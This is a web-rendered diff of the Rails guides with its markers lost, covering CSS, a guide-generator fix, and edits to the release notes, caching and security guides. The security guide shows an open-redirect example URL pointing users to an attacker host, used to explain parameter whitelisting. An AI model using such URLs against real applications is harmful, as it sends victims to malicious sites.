#header .nav .index:hover a, #header .nav .index a:hover {
|
||||
background-position: right -81px;
|
||||
background: #980905 url(../../images/nav_arrow.gif) no-repeat right top;
|
||||
padding-right: 1em;
|
||||
position: relative;
|
||||
z-index: 15;
|
||||
padding-bottom: 0.125em;
|
||||
}
|
||||
#header .nav .index:hover a, #header .nav .index a:hover {background-position: right -81px;}
|
||||
|
||||
#guides {
|
||||
width: 27em;
|
||||
display: block;
|
||||
background: #980905;
|
||||
border-radius: 1em;
|
||||
-webkit-border-radius: 1em;
|
||||
-moz-border-radius: 1em;
|
||||
-webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
|
||||
-moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
|
||||
color: #f1938c;
|
||||
padding: 1.5em 2em;
|
||||
position: absolute;
|
||||
z-index: 10;
|
||||
top: -0.25em;
|
||||
right: 0;
|
||||
padding-top: 2em;
|
||||
width: 27em;
|
||||
display: block;
|
||||
background: #980905;
|
||||
border-radius: 1em;
|
||||
-webkit-border-radius: 1em;
|
||||
-moz-border-radius: 1em;
|
||||
-webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
|
||||
-moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
|
||||
color: #f1938c;
|
||||
padding: 1.5em 2em;
|
||||
position: absolute;
|
||||
z-index: 10;
|
||||
top: -0.25em;
|
||||
right: 0;
|
||||
padding-top: 2em;
|
||||
}
|
||||
|
||||
#guides dt, #guides dd {
|
||||
font-weight: normal;
|
||||
font-size: 0.722em;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
#guides dt {
|
||||
padding: 0;
|
||||
margin: 0.5em 0 0;
|
||||
}
|
||||
#guides a {
|
||||
color: #FFF;
|
||||
background: none !important;
|
||||
}
|
||||
#guides .L, #guides .R {
|
||||
float: left;
|
||||
width: 50%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
#guides .R {
|
||||
float: right;
|
||||
font-weight: normal;
|
||||
font-size: 0.722em;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
#guides dt {padding:0; margin: 0.5em 0 0;}
|
||||
#guides a {color: #FFF; background: none !important;}
|
||||
#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
|
||||
#guides .R {float: right;}
|
||||
#guides hr {
|
||||
display: block;
|
||||
border: none;
|
||||
height: 1px;
|
||||
color: #f1938c;
|
||||
background: #f1938c;
|
||||
display: block;
|
||||
border: none;
|
||||
height: 1px;
|
||||
color: #f1938c;
|
||||
background: #f1938c;
|
||||
}
|
||||
|
||||
/* Headings
|
||||
--------------------------------------- */
|
||||
|
||||
h1 {
|
||||
font-size: 2.5em;
|
||||
line-height: 1em;
|
||||
margin: 0.6em 0 .2em;
|
||||
font-weight: bold;
|
||||
}
|
||||
font-size: 2.5em;
|
||||
line-height: 1em;
|
||||
margin: 0.6em 0 .2em;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 2.1428em;
|
||||
line-height: 1em;
|
||||
margin: 0.7em 0 .2333em;
|
||||
font-weight: bold;
|
||||
}
|
||||
font-size: 2.1428em;
|
||||
line-height: 1em;
|
||||
margin: 0.7em 0 .2333em;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
h3 {
|
||||
font-size: 1.7142em;
|
||||
line-height: 1.286em;
|
||||
margin: 0.875em 0 0.2916em;
|
||||
font-weight: bold;
|
||||
}
|
||||
font-size: 1.7142em;
|
||||
line-height: 1.286em;
|
||||
margin: 0.875em 0 0.2916em;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
h4 {
|
||||
font-size: 1.2857em;
|
||||
line-height: 1.2em;
|
||||
margin: 1.6667em 0 .3887em;
|
||||
font-weight: bold;
|
||||
}
|
||||
font-size: 1.2857em;
|
||||
line-height: 1.2em;
|
||||
margin: 1.6667em 0 .3887em;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
h5 {
|
||||
font-size: 1em;
|
||||
line-height: 1.5em;
|
||||
margin: 1em 0 .5em;
|
||||
font-weight: bold;
|
||||
font-size: 1em;
|
||||
line-height: 1.5em;
|
||||
margin: 1em 0 .5em;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
h6 {
|
||||
font-size: 1em;
|
||||
line-height: 1.5em;
|
||||
margin: 1em 0 .5em;
|
||||
font-weight: normal;
|
||||
font-size: 1em;
|
||||
line-height: 1.5em;
|
||||
margin: 1em 0 .5em;
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
.section {
|
||||
padding-bottom: 0.25em;
|
||||
border-bottom: 1px solid #999;
|
||||
}
|
||||
|
||||
/* Content
|
||||
--------------------------------------- */
|
||||
|
||||
.pic {
|
||||
margin: 0 2em 2em 0;
|
||||
margin: 0 2em 2em 0;
|
||||
}
|
||||
|
||||
#topNav strong {
|
||||
color: #999;
|
||||
margin-right: 0.5em;
|
||||
}
|
||||
#topNav strong a {
|
||||
color: #FFF;
|
||||
}
|
||||
#topNav strong {color: #999; margin-right: 0.5em;}
|
||||
#topNav strong a {color: #FFF;}
|
||||
|
||||
#header h1 {
|
||||
float: left;
|
||||
background: url(../../images/ruby_guides_logo.gif) no-repeat;
|
||||
width: 492px;
|
||||
text-indent: -9999em;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
float: left;
|
||||
background: url(../../images/rails_guides_logo.gif) no-repeat;
|
||||
width: 297px;
|
||||
text-indent: -9999em;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
#header h1 a {
|
||||
text-decoration: none;
|
||||
display: block;
|
||||
height: 77px;
|
||||
text-decoration: none;
|
||||
display: block;
|
||||
height: 77px;
|
||||
}
|
||||
|
||||
#feature p {
|
||||
font-size: 1.2857em;
|
||||
margin-bottom: 0.75em;
|
||||
font-size: 1.2857em;
|
||||
margin-bottom: 0.75em;
|
||||
}
|
||||
|
||||
#feature ul {
|
||||
margin-left: 0;
|
||||
}
|
||||
#feature ul {margin-left: 0;}
|
||||
#feature ul li {
|
||||
list-style: none;
|
||||
background: url(../../images/check_bullet.gif) no-repeat left 0.5em;
|
||||
padding: 0.5em 1.75em 0.5em 1.75em;
|
||||
font-size: 1.1428em;
|
||||
font-weight: bold;
|
||||
list-style: none;
|
||||
background: url(../../images/check_bullet.gif) no-repeat left 0.5em;
|
||||
padding: 0.5em 1.75em 0.5em 1.75em;
|
||||
font-size: 1.1428em;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
#mainCol dd, #subCol dd {
|
||||
padding: 0.25em 0 1em;
|
||||
border-bottom: 1px solid #CCC;
|
||||
margin-bottom: 1em;
|
||||
margin-left: 0;
|
||||
padding-left: 28px;
|
||||
padding: 0.25em 0 1em;
|
||||
border-bottom: 1px solid #CCC;
|
||||
margin-bottom: 1em;
|
||||
margin-left: 0;
|
||||
/*padding-left: 28px;*/
|
||||
padding-left: 0;
|
||||
}
|
||||
|
||||
#mainCol dt, #subCol dt {
|
||||
font-size: 1.2857em;
|
||||
padding: 0.125em 0 0.25em 28px;
|
||||
margin-bottom: 0;
|
||||
background: url(../../images/book_icon.gif) no-repeat left top;
|
||||
font-size: 1.2857em;
|
||||
padding: 0.125em 0 0.25em 0;
|
||||
margin-bottom: 0;
|
||||
/*background: url(../../images/book_icon.gif) no-repeat left top;
|
||||
padding: 0.125em 0 0.25em 28px;*/
|
||||
}
|
||||
|
||||
#mainCol dd.ticket, #subCol dd.ticket {
|
||||
background: #fff9d8 url(../../images/tab_yellow.gif) no-repeat left top;
|
||||
border: none;
|
||||
padding: 1.25em 1em 1.25em 48px;
|
||||
margin-left: 0;
|
||||
margin-top: 0.25em;
|
||||
background: #fff9d8 url(../../images/tab_yellow.gif) no-repeat left top;
|
||||
border: none;
|
||||
padding: 1.25em 1em 1.25em 48px;
|
||||
margin-left: 0;
|
||||
margin-top: 0.25em;
|
||||
}
|
||||
|
||||
#mainCol dd.warning, #subCol dd.warning {
|
||||
background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top;
|
||||
border: none;
|
||||
padding: 1.25em 1.25em 1.25em 48px;
|
||||
margin-left: 0;
|
||||
margin-top: 0.25em;
|
||||
background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top;
|
||||
border: none;
|
||||
padding: 1.25em 1.25em 1.25em 48px;
|
||||
margin-left: 0;
|
||||
margin-top: 0.25em;
|
||||
}
|
||||
|
||||
#subCol .chapters {
|
||||
color: #980905;
|
||||
}
|
||||
#subCol .chapters a {
|
||||
font-weight: bold;
|
||||
}
|
||||
#subCol .chapters ul a {
|
||||
font-weight: normal;
|
||||
}
|
||||
#subCol .chapters li {
|
||||
margin-bottom: 0.75em;
|
||||
}
|
||||
#subCol h3.chapter {
|
||||
margin-top: 0.25em;
|
||||
}
|
||||
#subCol h3.chapter img {
|
||||
vertical-align: text-bottom;
|
||||
}
|
||||
#subCol .chapters ul {
|
||||
margin-left: 0;
|
||||
margin-top: 0.5em;
|
||||
}
|
||||
#subCol .chapters {color: #980905;}
|
||||
#subCol .chapters a {font-weight: bold;}
|
||||
#subCol .chapters ul a {font-weight: normal;}
|
||||
#subCol .chapters li {margin-bottom: 0.75em;}
|
||||
#subCol h3.chapter {margin-top: 0.25em;}
|
||||
#subCol h3.chapter img {vertical-align: text-bottom;}
|
||||
#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
|
||||
#subCol .chapters ul li {
|
||||
list-style: none;
|
||||
padding: 0 0 0 1em;
|
||||
background: url(../../images/bullet.gif) no-repeat left 0.45em;
|
||||
margin-left: 0;
|
||||
font-size: 1em;
|
||||
font-weight: normal;
|
||||
}
|
||||
#subCol .chapters p {
|
||||
font-size: 1em;
|
||||
list-style: none;
|
||||
padding: 0 0 0 1em;
|
||||
background: url(../../images/bullet.gif) no-repeat left 0.45em;
|
||||
margin-left: 0;
|
||||
font-size: 1em;
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
tt {
|
||||
font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
|
||||
font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
|
||||
}
|
||||
|
||||
code, pre {
|
||||
font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
|
||||
background: #EEE url(../../images/tab_grey.gif) no-repeat left top;
|
||||
border: none;
|
||||
padding: 0.25em 1em 0.5em 48px;
|
||||
margin-left: 0;
|
||||
margin-top: 0.25em;
|
||||
display: block;
|
||||
min-height: 45px;
|
||||
overflow: auto;
|
||||
div.code_container {
|
||||
background: #EEE url(../../images/tab_grey.gif) no-repeat left top;
|
||||
padding: 0.25em 1em 0.5em 48px;
|
||||
}
|
||||
|
||||
.info code, .info pre {
|
||||
background-image: none;
|
||||
background-color: #C5D9E6;
|
||||
padding: 0.25em 1em;
|
||||
min-height: 1px;
|
||||
code {
|
||||
font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
|
||||
border: none;
|
||||
margin: 0.25em 0 1.5em 0;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.note {
|
||||
background: #fff9d8 url(../../images/tab_note.gif) no-repeat left top;
|
||||
border: none;
|
||||
padding: 1em 1em 0.25em 48px;
|
||||
margin-left: 0;
|
||||
margin-top: 0.25em;
|
||||
background: #fff9d8 url(../../images/tab_note.gif) no-repeat left top;
|
||||
border: none;
|
||||
padding: 1em 1em 0.25em 48px;
|
||||
margin: 0.25em 0 1.5em 0;
|
||||
}
|
||||
|
||||
.info {
|
||||
background: #d5e9f6 url(../../images/tab_info.gif) no-repeat left top;
|
||||
border: none;
|
||||
padding: 1em 1em 0.25em 48px;
|
||||
margin-left: 0;
|
||||
margin-top: 0.25em;
|
||||
background: #d5e9f6 url(../../images/tab_info.gif) no-repeat left top;
|
||||
border: none;
|
||||
padding: 1em 1em 0.25em 48px;
|
||||
margin: 0.25em 0 1.5em 0;
|
||||
}
|
||||
|
||||
.warning {
|
||||
background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top;
|
||||
border: none;
|
||||
padding: 1em 1em 0.25em 48px;
|
||||
margin-left: 0;
|
||||
margin-top: 0.25em;
|
||||
}
|
||||
|
||||
.warning tt, .note tt, .info tt {
|
||||
border: none;
|
||||
background: none;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
em.highlight {
|
||||
background: #fffcdb;
|
||||
padding: 0 0.25em;
|
||||
}
|
||||
.note tt, .info tt {border:none; background: none; padding: 0;}
|
||||
|
||||
#mainCol ul li {
|
||||
list-style: none;
|
||||
background: url(../../images/grey_bullet.gif) no-repeat left 0.5em;
|
||||
padding-left: 1em;
|
||||
margin-left: 0;
|
||||
list-style:none;
|
||||
background: url(../../images/grey_bullet.gif) no-repeat left 0.5em;
|
||||
padding-left: 1em;
|
||||
margin-left: 0;
|
||||
}
|
||||
|
||||
#subCol .content {
|
||||
font-size: 0.7857em;
|
||||
line-height: 1.5em;
|
||||
}
|
||||
|
||||
#subCol .content li {
|
||||
font-weight: normal;
|
||||
background: none;
|
||||
padding: 0 0 1em;
|
||||
font-size: 1.1667em;
|
||||
}
|
||||
|
||||
/* Clearing
|
||||
|
@ -563,15 +423,7 @@ em.highlight {
|
|||
visibility: hidden;
|
||||
}
|
||||
|
||||
.clearfix {
|
||||
display: inline-block;
|
||||
}
|
||||
* html .clearfix {
|
||||
height: 1%;
|
||||
}
|
||||
.clearfix {
|
||||
display: block;
|
||||
}
|
||||
.clear {
|
||||
clear: both;
|
||||
}
|
||||
.clearfix {display: inline-block;}
|
||||
* html .clearfix {height: 1%;}
|
||||
.clearfix {display: block;}
|
||||
.clear { clear:both; }
|
BIN
vendor/rails/railties/guides/images/rails_guides_logo.gif
vendored
Normal file
After Width: | Height: | Size: 5 KiB |
Before Width: | Height: | Size: 5.2 KiB |
Before Width: | Height: | Size: 6.6 KiB |
BIN
vendor/rails/railties/guides/images/tab_grey.gif
vendored
Before Width: | Height: | Size: 2.4 KiB After Width: | Height: | Size: 4.8 KiB |
BIN
vendor/rails/railties/guides/images/tab_info.gif
vendored
Before Width: | Height: | Size: 2.3 KiB After Width: | Height: | Size: 4.7 KiB |
BIN
vendor/rails/railties/guides/images/tab_note.gif
vendored
Before Width: | Height: | Size: 2.3 KiB After Width: | Height: | Size: 4.7 KiB |
BIN
vendor/rails/railties/guides/images/tab_red.gif
vendored
Before Width: | Height: | Size: 2.3 KiB After Width: | Height: | Size: 4.6 KiB |
BIN
vendor/rails/railties/guides/images/tab_yellow.gif
vendored
Before Width: | Height: | Size: 2.3 KiB After Width: | Height: | Size: 4.6 KiB |
|
@ -1,3 +1,5 @@
|
|||
require 'set'
|
||||
|
||||
module RailsGuides
|
||||
class Generator
|
||||
attr_reader :output, :view_path, :view, :guides_dir
|
||||
|
@ -55,6 +57,7 @@ module RailsGuides
|
|||
|
||||
result = view.render(:layout => 'layout', :text => textile(body))
|
||||
f.write result
|
||||
warn_about_broken_links(result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -106,9 +109,46 @@ module RailsGuides
|
|||
end
|
||||
|
||||
def textile(body)
|
||||
t = RedCloth.new(body)
|
||||
t.hard_breaks = false
|
||||
t.to_html(:notestuff, :plusplus, :code, :tip)
|
||||
# If the issue with nontextile is fixed just remove the wrapper.
|
||||
with_workaround_for_nontextile(body) do |body|
|
||||
t = RedCloth.new(body)
|
||||
t.hard_breaks = false
|
||||
t.to_html(:notestuff, :plusplus, :code, :tip)
|
||||
end
|
||||
end
|
||||
|
||||
# For some reason the notextile tag does not always turn off textile. See
|
||||
# LH ticket of the security guide (#7). As a temporary workaround we deal
|
||||
# with code blocks by hand.
|
||||
def with_workaround_for_nontextile(body)
|
||||
code_blocks = []
|
||||
body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
|
||||
es = ERB::Util.h($2)
|
||||
css_class = ['erb', 'shell'].include?($1) ? 'html' : $1
|
||||
code_blocks << %{<div class="code_container"><code class="#{css_class}">#{es}</code></div>}
|
||||
"dirty_workaround_for_nontextile_#{code_blocks.size - 1}"
|
||||
end
|
||||
|
||||
body = yield body
|
||||
|
||||
body.gsub(%r{<p>dirty_workaround_for_nontextile_(\d+)</p>}) do |_|
|
||||
code_blocks[$1.to_i]
|
||||
end
|
||||
end
|
||||
|
||||
def warn_about_broken_links(html)
|
||||
# Textile generates headers with IDs computed from titles.
|
||||
anchors = Set.new(html.scan(/<h\d\s+id="([^"]+)/).flatten)
|
||||
# Also, footnotes are rendered as paragraphs this way.
|
||||
anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten)
|
||||
|
||||
# Check fragment identifiers.
|
||||
html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier|
|
||||
next if fragment_identifier == 'mainCol' # in layout, jumps to some DIV
|
||||
unless anchors.member?(fragment_identifier)
|
||||
puts "BROKEN LINK: ##{fragment_identifier}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -31,10 +31,10 @@ module RailsGuides
|
|||
end
|
||||
|
||||
def code(body)
|
||||
body.gsub!(/\<(yaml|shell|ruby|erb|html|sql)\>(.*?)\<\/\1\>/m) do |m|
|
||||
body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
|
||||
es = ERB::Util.h($2)
|
||||
css_class = ['erb', 'shell'].include?($1) ? 'html' : $1
|
||||
"<notextile><code class='#{css_class}'>#{es}\n</code></notextile>"
|
||||
%{<notextile><div class="code_container"><code class="#{css_class}">#{es}</code></div></notextile>}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
h2. Ruby on Rails 2.3 Release Notes
|
||||
|
||||
NOTE: These release notes refer to RC2 of Rails 2.3. This is a release candidate, and not the final version of Rails 2.3. It's intended to be a stable testing release, and we urge you to test your own applications and report any issues to the "Rails Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview.
|
||||
|
||||
Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.
|
||||
|
||||
endprologue.
|
||||
|
@ -136,7 +138,7 @@ Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
|
|||
end
|
||||
</ruby>
|
||||
|
||||
You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size: option, which defaults to 1000, to set the number of records that will be returned in each batch.
|
||||
You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch.
|
||||
|
||||
The new +each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default):
|
||||
|
||||
|
@ -146,7 +148,11 @@ Customer.each do |customer|
|
|||
end
|
||||
</ruby>
|
||||
|
||||
Note that you should only use this record for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
|
||||
Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
|
||||
|
||||
* More Information:
|
||||
- "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/
|
||||
- "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find
|
||||
|
||||
h4. Multiple Conditions for Callbacks
|
||||
|
||||
|
@ -313,6 +319,8 @@ h4. Other Action Controller Changes
|
|||
* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
|
||||
* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+.
|
||||
* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources.
|
||||
* The bundled memcached client has been updated to version 1.6.4.99.
|
||||
* The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching.
|
||||
|
||||
h3. Action View
|
||||
|
||||
|
@ -431,6 +439,18 @@ returns
|
|||
</optgroup>
|
||||
</ruby>
|
||||
|
||||
h4. A Note About Template Loading
|
||||
|
||||
Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
|
||||
|
||||
In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file:
|
||||
|
||||
<ruby>
|
||||
config.action_view.cache_template_loading = true
|
||||
</ruby>
|
||||
|
||||
This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
|
||||
|
||||
h4. Other Action View Changes
|
||||
|
||||
* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs.
|
||||
|
@ -481,7 +501,7 @@ In addition to the Rack changes covered above, Railties (the core code of Rails
|
|||
|
||||
h4. Rails Metal
|
||||
|
||||
Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack.
|
||||
Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
|
||||
|
||||
* More Information:
|
||||
** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal
|
||||
|
@ -538,6 +558,7 @@ A few pieces of older code are deprecated in this release:
|
|||
* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead.
|
||||
* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+.
|
||||
* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options.
|
||||
* Posting a multipart form with an empty +file_field+ control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
|
||||
|
||||
h3. Credits
|
||||
|
||||
|
|
|
@ -314,7 +314,7 @@ This will find all clients created yesterday by using a +BETWEEN+ SQL statement:
|
|||
SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
|
||||
</sql>
|
||||
|
||||
This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
|
||||
This demonstrates a shorter syntax for the examples in "Array Conditions":#arrayconditions
|
||||
|
||||
h5. Subset conditions
|
||||
|
||||
|
@ -376,7 +376,7 @@ By default, <tt>Model.find</tt> selects all the fields from the result set using
|
|||
|
||||
To select only a subset of fields from the result set, you can specify the subset via +:select+ option on the +find+.
|
||||
|
||||
NOTE: If the +:select+ option is used, all the returning objects will be "read only":#read-only objects.
|
||||
NOTE: If the +:select+ option is used, all the returning objects will be "read only":#readonlyobjects.
|
||||
|
||||
<br />
|
||||
|
||||
|
|
|
@ -500,16 +500,17 @@ seriously considering optimizing their caching needs.
|
|||
Also the new "Cache money":http://github.com/nkallen/cache-money/tree/master plugin is supposed to be mad cool.
|
||||
|
||||
h3. References
|
||||
* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/2/28/rails-caching-tutorial
|
||||
* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/3/20/ruby-on-rails-caching-tutorial-part-2
|
||||
* "ActiveSupport::Cache documentation":http://api.rubyonrails.org/classes/ActiveSupport/Cache.html
|
||||
* "Rails 2.1 integrated caching tutorial":http://thewebfellas.com/blog/2008/6/9/rails-2-1-now-with-better-integrated-caching
|
||||
|
||||
* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/2/28/rails-caching-tutorial
|
||||
* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/3/20/ruby-on-rails-caching-tutorial-part-2
|
||||
* "ActiveSupport::Cache documentation":http://api.rubyonrails.org/classes/ActiveSupport/Cache.html
|
||||
* "Rails 2.1 integrated caching tutorial":http://thewebfellas.com/blog/2008/6/9/rails-2-1-now-with-better-integrated-caching
|
||||
|
||||
h3. Changelog
|
||||
|
||||
"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/10-guide-to-caching
|
||||
|
||||
February 22, 2009: Beefed up the section on cache_stores
|
||||
December 27, 2008: Typo fixes
|
||||
November 23, 2008: Incremental updates with various suggested changes and formatting cleanup
|
||||
September 15, 2008: Initial version by Aditya Chadha
|
||||
* February 22, 2009: Beefed up the section on cache_stores
|
||||
* December 27, 2008: Typo fixes
|
||||
* November 23, 2008: Incremental updates with various suggested changes and formatting cleanup
|
||||
* September 15, 2008: Initial version by Aditya Chadha
|
||||
|
|
|
@ -73,6 +73,10 @@ h3. Digging Deeper
|
|||
|
||||
<dl>
|
||||
|
||||
<% guide("Rails on Rack", 'rails_on_rack.html') do %>
|
||||
This guide covers Rails integration with Rack and interfacing with other Rack components.
|
||||
<% end %>
|
||||
|
||||
<% guide("Rails Internationalization API", 'i18n.html', :ticket => 23) do %>
|
||||
This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.
|
||||
<% end %>
|
||||
|
@ -109,8 +113,8 @@ h3. Digging Deeper
|
|||
This guide covers the command line tools and rake tasks provided by Rails.
|
||||
<% end %>
|
||||
|
||||
<% guide("Rails on Rack", 'rails_on_rack.html', :ticket => 58) do %>
|
||||
This guide covers Rails integration with Rack and interfacing with other Rack components.
|
||||
<% guide("Caching with Rails", 'caching_with_rails.html', :ticket => 10) do %>
|
||||
Various caching techniques provided by Rails.
|
||||
<% end %>
|
||||
|
||||
</dl>
|
||||
|
|
|
@ -683,7 +683,7 @@ Within the context of a layout, +yield+ identifies a section where content from
|
|||
</head>
|
||||
<body>
|
||||
<%= yield %>
|
||||
<hbody>
|
||||
</body>
|
||||
</html>
|
||||
</erb>
|
||||
|
||||
|
@ -696,7 +696,7 @@ You can also create a layout with multiple yielding regions:
|
|||
</head>
|
||||
<body>
|
||||
<%= yield %>
|
||||
<hbody>
|
||||
</body>
|
||||
</html>
|
||||
</erb>
|
||||
|
||||
|
@ -723,7 +723,7 @@ The result of rendering this page into the supplied layout would be this HTML:
|
|||
</head>
|
||||
<body>
|
||||
<p>Hello, Rails!</p>
|
||||
<hbody>
|
||||
</body>
|
||||
</html>
|
||||
</erb>
|
||||
|
||||
|
@ -822,7 +822,7 @@ Every partial also has a local variable with the same name as the partial (minus
|
|||
<%= render :partial => "customer", :object => @new_customer %>
|
||||
</erb>
|
||||
|
||||
Within the +customer+ partial, the +@customer+ variable will refer to +@new_customer+ from the parent view.
|
||||
Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view.
|
||||
|
||||
WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.
|
||||
|
||||
|
|
150
vendor/rails/railties/guides/source/security.textile
vendored
|
@ -91,12 +91,12 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves
|
|||
|
||||
That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
|
||||
|
||||
<pre>
|
||||
<ruby>
|
||||
config.action_controller.session = {
|
||||
:key => '_app_session',
|
||||
:secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
|
||||
}
|
||||
</pre>
|
||||
</ruby>
|
||||
|
||||
There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
|
||||
|
||||
|
@ -211,9 +211,9 @@ If your web application is RESTful, you might be used to additional HTTP verbs,
|
|||
|
||||
_(highlight)The verify method in a controller can make sure that specific actions may not be used over GET_. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
|
||||
|
||||
<pre>
|
||||
<ruby>
|
||||
verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}
|
||||
</pre>
|
||||
</ruby>
|
||||
|
||||
With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.
|
||||
|
||||
|
@ -264,9 +264,9 @@ end
|
|||
|
||||
This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
|
||||
|
||||
|
@ -424,10 +424,10 @@ There are some authorization and authentication plug-ins for Rails available. A
|
|||
|
||||
